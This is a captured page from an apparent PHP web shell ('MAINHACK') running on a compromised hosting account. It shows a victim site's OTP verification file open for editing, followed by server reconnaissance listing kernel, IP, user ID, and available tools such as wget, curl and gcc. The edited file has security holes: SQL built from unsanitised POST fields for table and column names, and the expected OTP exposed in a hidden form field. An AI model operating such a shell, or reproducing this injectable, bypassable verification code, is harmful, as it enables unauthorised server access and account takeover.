[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: verify_otp.php
<?php include('header.php'); $m=base64_decode($_REQUEST['m']); $otp=base64_decode($_REQUEST['id']); $phn=base64_decode($_REQUEST['ph']); //echo $otp; $table=base64_decode($_REQUEST['t']); ?> <!-- Inner Banner Start --> <div class="inner-banner"> <img src="images/inner-banner.png" alt="Fashion Tradet Inner Banner"> <div class="inner-banner-text-block"> <div class="container"> <h1>OTP<span>Confirmation</span></h1> </div> </div> </div> <div class="log-in-block"> <div class="container"> <div class="log-in-box-content"> <div class="log-left"> <form action="" target="" method="post"> <h4>Verification</h4> <p>You will get a <b>OTP</b> via <b>SMS/Email</b></p> <div class="fill-form"> <i class="fa-solid fa-mobile-screen"></i> <input type="text" name="otp_new" placeholder="Fill Your OTP Number"> <input type="hidden" name="otp" value="<?=$otp?>" placeholder="OTP"> <input type="hidden" name="table" value="<?=$table?>"> <input type="hidden" name="field_name" value="email" > <input type="hidden" name="email" value="<?=$m?>"> <input type="hidden" name="phone" value="<?=$phn?>"> </div> <div style="color: #000; font-weight: 600; text-align: center; margin: 5px 0 0 0;"> <span id="timer"> <span id="time">60</span> Seconds </span> </div> <h6> <div id="resend" style="display:none"> <a class="already" href="resend-OTP.php?ph=<?=base64_encode($phn)?>&em=<?=base64_encode($m)?>&t=<?=base64_encode($table)?>&link=verify_otp.php"> <p style="color:red;font-weight:600">Resend OTP</p></a> </div> </h6> <div class="fill-form log-in-btn"> <input type="submit" value="Submit" name="verify"> </div> </form> <?php if(isset($_POST['verify'])){ if($_POST['otp']==$_POST['otp_new']){ $sq="update ".$_POST['table']." set status='ACTIVE' where ".$_POST['field_name']."='".$_POST['email']."'";//echo $sq; $stmt=$con->prepare($sq); $r=$stmt->execute(); if($_POST['table']=='user'){ $url='log-in.php';}else{ $url='partner-login.php'; } echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: "Your account is verified. You can login now.", type: "success" }, function() { swal("You will be redirected to Login page"); window.location = "'.$url.'"; }); }, 1000); </script>'; }else{ echo "<script>sweetAlert('Oops!','OTP mismatched.Please verify otp.','error');</script>"; } } ?> <script> $( document ).ready(function() { var counter = 60; var interval = setInterval(function() { counter--; // Display 'counter' wherever you want to display it. if (counter <= 0) { clearInterval(interval); $('#timer').hide(); $('#resend').show(); return; }else{ $('#time').text(counter); console.log("Timer --> " + counter); } }, 1000); }); </script> </div> <div class="log-right"> <img src="images/login.gif"> </div> </div> </div> </div> <!-- Footer include --> <?php include("footer.php"); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.99 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619